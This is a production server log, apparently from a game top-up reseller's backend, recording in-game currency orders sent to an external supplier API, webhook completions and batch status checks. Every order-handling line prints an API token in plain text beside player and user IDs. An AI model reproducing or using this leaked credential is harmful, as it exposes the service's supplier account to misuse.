[2026-03-24 22:53:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=08e28039-6d31-4ae8-b3d5-e9dd601a8e0e&Player_ID=11200494  
[2026-03-24 22:53:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=08e28039-6d31-4ae8-b3d5-e9dd601a8e0e&Player_ID=11200494","has_body":false} 
[2026-03-24 22:53:19] production.INFO: Operation sent successfully {"operation_id":164373,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-b8ZEKCN-1774381998","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 22:53:19"}},"processed_data":{"order_number":"ORD-b8ZEKCN-1774381998","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 22:53:36] production.INFO: Constructing job for order: 179505  
[2026-03-24 22:53:37] production.INFO: Handling job for order: 179505  
[2026-03-24 22:53:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:53:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:53:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8d9f8ed7-2b77-4b63-a2bd-f12d66c12554&Player_ID=51902143655  
[2026-03-24 22:53:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8d9f8ed7-2b77-4b63-a2bd-f12d66c12554&Player_ID=51902143655","has_body":false} 
[2026-03-24 22:53:38] production.INFO: Operation sent successfully {"operation_id":164374,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SUQdfP-1774382017","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:53:38"}},"processed_data":{"order_number":"ORD-SUQdfP-1774382017","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:53:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SUQdfP-1774382017","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:53:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-SUQdfP-1774382017","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:53:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:53:48] production.INFO: SendAcceptReject: Notification queued {"user_id":352,"notification_type":"order_approved","reference_id":179505} 
[2026-03-24 22:53:48] production.INFO: Order updated successfully. Order ID: 179505, Status: completed  
[2026-03-24 22:53:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SUQdfP-1774382017","status":"completed","codes_count":0} 
[2026-03-24 22:53:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 352  
[2026-03-24 22:54:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02"} 
[2026-03-24 22:54:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","total_operations":2,"sites_count":1} 
[2026-03-24 22:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-oCUF-1774381937","ORD-b8ZEKCN-1774381998"]} 
[2026-03-24 22:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b8ZEKCN-1774381998","operation_id":164373} 
[2026-03-24 22:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 22:54:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:54:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"count":1} 
[2026-03-24 22:54:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"count":1} 
[2026-03-24 22:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"user_id":352,"notification_type":"order_approved","reference_id":179502} 
[2026-03-24 22:54:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:54:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:54:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"processed":1,"errors":0} 
[2026-03-24 22:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371,"processed":1,"errors":0} 
[2026-03-24 22:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NZJ2qLY4bgdzZo2QH9L5kOs53OcDyFfx","execution_time":"2026-03-24 22:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oCUF-1774381937","operation_id":164371} 
[2026-03-24 22:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 352  
[2026-03-24 22:54:40] production.INFO: Constructing job for order: 179506  
[2026-03-24 22:54:41] production.INFO: Handling job for order: 179506  
[2026-03-24 22:54:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:54:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:54:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/587/params?qty=820&uuid=5041508c-50f6-4d0d-addd-a3a2b5e87b94&Player_ID=14172540  
[2026-03-24 22:54:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/587/params?qty=820&uuid=5041508c-50f6-4d0d-addd-a3a2b5e87b94&Player_ID=14172540","has_body":false} 
[2026-03-24 22:54:42] production.INFO: Operation sent successfully {"operation_id":164375,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TrFVxa-1774382081","amount":6.31204413599999991646427588420920073986053466796875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar","notes":[],"created_at":"2026-03-24 22:54:42"}},"processed_data":{"order_number":"ORD-TrFVxa-1774382081","amount":6.31204413599999991646427588420920073986053466796875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar"}} 
[2026-03-24 22:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:55:05] production.INFO: async() رجع: true  
[2026-03-24 22:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:55:14] production.INFO: Constructing job for order: 179507  
[2026-03-24 22:55:15] production.INFO: Handling job for order: 179507  
[2026-03-24 22:55:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:55:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:55:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=82000&uuid=ad51ccae-eee8-4fa8-918a-fc5301ed8e3a&Player_ID=1024739392  
[2026-03-24 22:55:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=82000&uuid=ad51ccae-eee8-4fa8-918a-fc5301ed8e3a&Player_ID=1024739392","has_body":false} 
[2026-03-24 22:55:16] production.INFO: Operation sent successfully {"operation_id":164376,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YpIO-1774382116","amount":9.22991999999999990222931955941021442413330078125,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:55:16"}},"processed_data":{"order_number":"ORD-YpIO-1774382116","amount":9.22991999999999990222931955941021442413330078125,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:55:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-YpIO-1774382116","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:55:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-YpIO-1774382116","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:55:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:55:21] production.INFO: SendAcceptReject: Notification queued {"user_id":227,"notification_type":"order_approved","reference_id":179507} 
[2026-03-24 22:55:21] production.INFO: Order updated successfully. Order ID: 179507, Status: completed  
[2026-03-24 22:55:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-YpIO-1774382116","status":"completed","codes_count":0} 
[2026-03-24 22:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 227  
[2026-03-24 22:55:33] production.INFO: Constructing job for order: 179508  
[2026-03-24 22:55:34] production.INFO: Handling job for order: 179508  
[2026-03-24 22:55:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:55:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:55:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fd484cd7-5a89-45a7-8909-12625a8c99fc&Player_ID=52298894768  
[2026-03-24 22:55:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fd484cd7-5a89-45a7-8909-12625a8c99fc&Player_ID=52298894768","has_body":false} 
[2026-03-24 22:55:35] production.INFO: Operation sent successfully {"operation_id":164377,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mLiF7O-1774382135","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:55:35"}},"processed_data":{"order_number":"ORD-mLiF7O-1774382135","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:55:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mLiF7O-1774382135","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:55:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-mLiF7O-1774382135","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:55:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:55:48] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"order_approved","reference_id":179508} 
[2026-03-24 22:55:48] production.INFO: Order updated successfully. Order ID: 179508, Status: completed  
[2026-03-24 22:55:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mLiF7O-1774382135","status":"completed","codes_count":0} 
[2026-03-24 22:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02"} 
[2026-03-24 22:56:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","total_operations":2,"sites_count":1} 
[2026-03-24 22:56:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-b8ZEKCN-1774381998","ORD-TrFVxa-1774382081"]} 
[2026-03-24 22:56:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375} 
[2026-03-24 22:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 22:56:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:56:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"count":1} 
[2026-03-24 22:56:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"count":1} 
[2026-03-24 22:56:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"user_id":949,"notification_type":"order_approved","reference_id":179504} 
[2026-03-24 22:56:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:56:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:56:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"errors":0} 
[2026-03-24 22:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"errors":0} 
[2026-03-24 22:56:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2USbPZuC18fKR76Oyj94IbG6rHYhWzS9","execution_time":"2026-03-24 22:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375} 
[2026-03-24 22:56:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 22:56:10] production.INFO: Constructing job for order: 179509  
[2026-03-24 22:56:12] production.INFO: Handling job for order: 179509  
[2026-03-24 22:56:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:56:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:56:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=e91752c2-04cc-4898-9868-2ff9a3c73f07&Player_ID=1458669259  
[2026-03-24 22:56:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=e91752c2-04cc-4898-9868-2ff9a3c73f07&Player_ID=1458669259","has_body":false} 
[2026-03-24 22:56:12] production.INFO: Operation sent successfully {"operation_id":164378,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vKJi7-1774382172","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:56:12"}},"processed_data":{"order_number":"ORD-vKJi7-1774382172","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:56:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vKJi7-1774382172","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:56:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-vKJi7-1774382172","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:56:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:56:18] production.INFO: SendAcceptReject: Notification queued {"user_id":373,"notification_type":"order_approved","reference_id":179509} 
[2026-03-24 22:56:18] production.INFO: Order updated successfully. Order ID: 179509, Status: completed  
[2026-03-24 22:56:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vKJi7-1774382172","status":"completed","codes_count":0} 
[2026-03-24 22:56:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 22:56:37] production.INFO: Constructing job for order: 179510  
[2026-03-24 22:56:39] production.INFO: Handling job for order: 179510  
[2026-03-24 22:56:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:56:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:56:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=8b4b3bd1-1db7-4bca-bf1b-b5d4c14d7456&Player_ID=471156  
[2026-03-24 22:56:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=8b4b3bd1-1db7-4bca-bf1b-b5d4c14d7456&Player_ID=471156","has_body":false} 
[2026-03-24 22:56:40] production.INFO: Operation sent successfully {"operation_id":164379,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aNjHqsn-1774382200","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 22:56:40"}},"processed_data":{"order_number":"ORD-aNjHqsn-1774382200","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 22:56:42] production.INFO: Constructing job for order: 179511  
[2026-03-24 22:56:43] production.INFO: Handling job for order: 179511  
[2026-03-24 22:56:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:56:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:56:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=54ec512f-038b-431f-a796-ad24b8b7ad2c&Player_ID=13331  
[2026-03-24 22:56:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=54ec512f-038b-431f-a796-ad24b8b7ad2c&Player_ID=13331","has_body":false} 
[2026-03-24 22:56:44] production.INFO: Operation sent successfully {"operation_id":164380,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gSHx-1774382204","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 22:56:44"}},"processed_data":{"order_number":"ORD-gSHx-1774382204","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 22:56:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aNjHqsn-1774382200","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:56:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-aNjHqsn-1774382200","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:56:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:56:45] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179510} 
[2026-03-24 22:56:45] production.INFO: Order updated successfully. Order ID: 179510, Status: completed  
[2026-03-24 22:56:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aNjHqsn-1774382200","status":"completed","codes_count":0} 
[2026-03-24 22:56:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 22:56:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gSHx-1774382204","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:56:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-gSHx-1774382204","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:56:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:56:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1689,"notification_type":"order_approved","reference_id":179511} 
[2026-03-24 22:56:51] production.INFO: Order updated successfully. Order ID: 179511, Status: completed  
[2026-03-24 22:56:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gSHx-1774382204","status":"completed","codes_count":0} 
[2026-03-24 22:56:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1689  
[2026-03-24 22:57:32] production.INFO: Constructing job for order: 179512  
[2026-03-24 22:57:35] production.INFO: Handling job for order: 179512  
[2026-03-24 22:57:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:57:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:57:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=819f121c-8694-414e-808e-fe919a5fbc14&Player_ID=456612  
[2026-03-24 22:57:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=819f121c-8694-414e-808e-fe919a5fbc14&Player_ID=456612","has_body":false} 
[2026-03-24 22:57:36] production.INFO: Operation sent successfully {"operation_id":164381,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Q5qG-1774382256","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 22:57:36"}},"processed_data":{"order_number":"ORD-0Q5qG-1774382256","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 22:57:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Q5qG-1774382256","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:57:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Q5qG-1774382256","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:57:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:57:39] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179512} 
[2026-03-24 22:57:39] production.INFO: Order updated successfully. Order ID: 179512, Status: completed  
[2026-03-24 22:57:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Q5qG-1774382256","status":"completed","codes_count":0} 
[2026-03-24 22:57:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 22:58:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00"} 
[2026-03-24 22:58:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","total_operations":1,"sites_count":1} 
